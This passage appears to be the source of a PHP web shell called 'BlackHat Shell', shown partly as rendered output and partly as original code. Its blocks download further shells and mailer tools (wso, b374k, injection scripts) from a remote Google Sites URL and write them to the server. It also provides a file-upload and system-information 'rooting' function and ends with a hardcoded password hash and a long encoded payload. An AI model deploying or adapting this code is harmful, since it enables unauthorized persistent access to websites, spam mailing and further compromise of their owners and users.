echo '<br>Location : <br>'.$pwd.'blackhat/wso.php' ;
echo '<script type="text/javascript">
alert("Done");
window.location.href = "blackhat/wso.php";
</script> ';
} else {
mkdir("blackhat", 0777);
file_put_contents('blackhat/wso.php', file_get_contents('https://sites.google.com/site/bhshll123/wso.txt'));
echo ' <script type="text/javascript">
alert("Done");
window.location.href = "blackhat/wso.php";
</script> ';
}
}
?>
<?php
if ( $_GET['create'] == '1n73' ){
$a= "".$_SERVER['SERVER_NAME'].""; $b= dirname($_SERVER['PHP_SELF']);$c = "/blackhat/1n73.php";
error_reporting(0);
if (file_exists('blackhat/1n73.php')) {
echo '<br>Location : <br>'.$pwd.'blackhat/1n73.php' ;
echo '<script type="text/javascript">
alert("Done , password :bh");
window.location.href = "blackhat/1n73.php";
</script> ';
} else {
mkdir("blackhat", 0777);
file_put_contents('blackhat/1n73.php', file_get_contents('https://sites.google.com/site/bhshll123/injection.txt'));
echo ' <script type="text/javascript">
alert("Done , password :bh");
window.location.href = "blackhat/1n73.php";
</script> ';
}
}
?>
<?php
$name = 'wk';
if ( $_GET['create'] == $name ){
$a= "".$_SERVER['SERVER_NAME'].""; $b= dirname($_SERVER['PHP_SELF']);$c = "/blackhat/".$name.".php";
error_reporting(0);
if (file_exists('blackhat/'.$name.'.php')) {
echo '<br>Location : <br>'.$pwd.'blackhat/'.$name.'php' ;
echo '<script type="text/javascript">
alert("Done");
window.location.href = "blackhat/'.$name.'.php";
</script> ';
} else {
mkdir("blackhat", 0777);
file_put_contents('blackhat/'.$name.'.php', file_get_contents('https://sites.google.com/site/bhshll123/'.$name.'.txt'));
echo ' <script type="text/javascript">
alert("Done");
window.location.href = "blackhat/'.$name.'.php";
</script> ';
}
}
?>
<?php
$name = 'adminer';
if ( $_GET['create'] == $name ){
$a= "".$_SERVER['SERVER_NAME'].""; $b= dirname($_SERVER['PHP_SELF']);$c = "/blackhat/".$name.".php";
error_reporting(0);
if (file_exists('blackhat/'.$name.'.php')) {
echo '<br>Location : <br>'.$pwd.'blackhat/'.$name.'php' ;
echo '<script type="text/javascript">
alert("Done");
window.location.href = "blackhat/'.$name.'.php";
</script> ';
} else {
mkdir("blackhat", 0777);
file_put_contents('blackhat/'.$name.'.php', file_get_contents('https://sites.google.com/site/bhshll123/'.$name.'.txt'));
echo ' <script type="text/javascript">
alert("Done");
window.location.href = "blackhat/'.$name.'.php";
</script> ';
}
}
?>
<?php
$name = 'b374k';
if ( $_GET['create'] == $name ){
$a= "".$_SERVER['SERVER_NAME'].""; $b= dirname($_SERVER['PHP_SELF']);$c = "/blackhat/".$name.".php";
error_reporting(0);
if (file_exists('blackhat/'.$name.'.php')) {
echo '<br>Location : <br>'.$pwd.'blackhat/'.$name.'php' ;
echo '<script type="text/javascript">
alert("Done passw b374k");
window.location.href = "blackhat/'.$name.'.php";
</script> ';
} else {
mkdir("blackhat", 0777);
file_put_contents('blackhat/'.$name.'.php', file_get_contents('https://sites.google.com/site/bhshll123/'.$name.'.txt'));
echo ' <script type="text/javascript">
alert("Done passw b374k");
window.location.href = "blackhat/'.$name.'.php";
</script> ';
}
}
?>
<?php
$name = 'ppmailceker';
if ( $_GET['create'] == $name ){
$a= "".$_SERVER['SERVER_NAME'].""; $b= dirname($_SERVER['PHP_SELF']);$c = "/blackhat/".$name.".php";
error_reporting(0);
if (file_exists('blackhat/'.$name.'.php')) {
echo '<br>Location : <br>'.$pwd.'blackhat/'.$name.'php' ;
echo '<script type="text/javascript">
alert("Done");
window.location.href = "blackhat/'.$name.'.php";
</script> ';
} else {
mkdir("blackhat", 0777);
file_put_contents('blackhat/'.$name.'.php', file_get_contents('https://sites.google.com/site/bhshll123/'.$name.'.txt'));
echo ' <script type="text/javascript">
alert("Done");
window.location.href = "blackhat/'.$name.'.php";
</script> ';
}
}
?>
<?php
$name = 'promailerv2';
if ( $_GET['create'] == $name ){
$a= "".$_SERVER['SERVER_NAME'].""; $b= dirname($_SERVER['PHP_SELF']);$c = "/blackhat/".$name.".php";
error_reporting(0);
if (file_exists('blackhat/'.$name.'.php')) {
echo '<br>Location : <br>'.$pwd.'blackhat/'.$name.'php' ;
echo '<script type="text/javascript">
alert("Done");
window.location.href = "blackhat/'.$name.'.php";
</script> ';
} else {
mkdir("blackhat", 0777);
file_put_contents('blackhat/'.$name.'.php', file_get_contents('https://sites.google.com/site/bhshll123/'.$name.'.txt'));
echo ' <script type="text/javascript">
alert("Done");
window.location.href = "blackhat/'.$name.'.php";
</script> ';
}
}
?>
<?php
function rooting()
{
echo '<b>Sw Bilgi<br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Yuklendi</b><br><br>'; }
else { echo '<b>Basarisiz</b><br><br>'; }
}
}
$x = $_GET["x"];
Switch($x){
case "rooting";
rooting();
break;
}
?>
</td></tr>
<br><br><div class="info"># Learn To Be Better #</div><br>
<div class="jaya">© 2016 - BlackHat Shell</div></center><br><br>
</script>
</div>
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582ECSaLdwqSpn0%2fEs018j9xTQtOiNWdNpNkQSvfteUTNIMAh8w%2bg7A%2fhTKTa2LJuaNMa8KjsTW2RQ9sAf1lGqT36oWCrTCEUd7XnaGx95gELuSYCenO4sWeJ%2fj1an6pj%2b1Oe8A1gbFlwsq0KbBnke6sbxbKD5YwsQGr5wpN7OtVeMOhPJQmKJ9OWz%2f0uZd5isWCyFGiInPBO91eyn1iuwernNYELNf0OHaGouPiFqzTJvCTzLEah5iCNWk1GY5Y05K0c7Agu9nam96MJ3B3uYvcCCShBIsTvIUc4klyRfeS1IeXIuXV6lwhEI6r0eeatFm6FGmIEUN5ui5Gho4pG9zZD5GNpiInJR36mv8xeiOw%2fZbZAPLTgnewk56heEgb1vM4ymcAWoCHJBf48m%2fiubPrd5sdELeyAowtRx1PlgNSrdOBeArOlm6q9llxccCcLZfDYaAU5QtzvVhmf1EbzZTJ9gPbit7tRMPyS7uWr2T7hP4Zd8st9bQpCuX7AZEU4C8FilyX5OWoZoGCftnaBUA83nPuSyx4%2bafOGEtx2%2fng0cggx015Lb1wWv1dAOktUBr8u1Hf59KjVXy03Q3qrjDvuXFJRhwKzx6Q%3d%3d" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
</html>
Did this file decode correctly?
Original Code
<?php
# LOL
# Blackhat Shell By cr1p.blogspot.com
# Pass Default "bh"
# Jancoeg Evrywhere
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
$auth_pass = "c08bba7a0c0386f1551e8474d853ecbf";
$blackhat = "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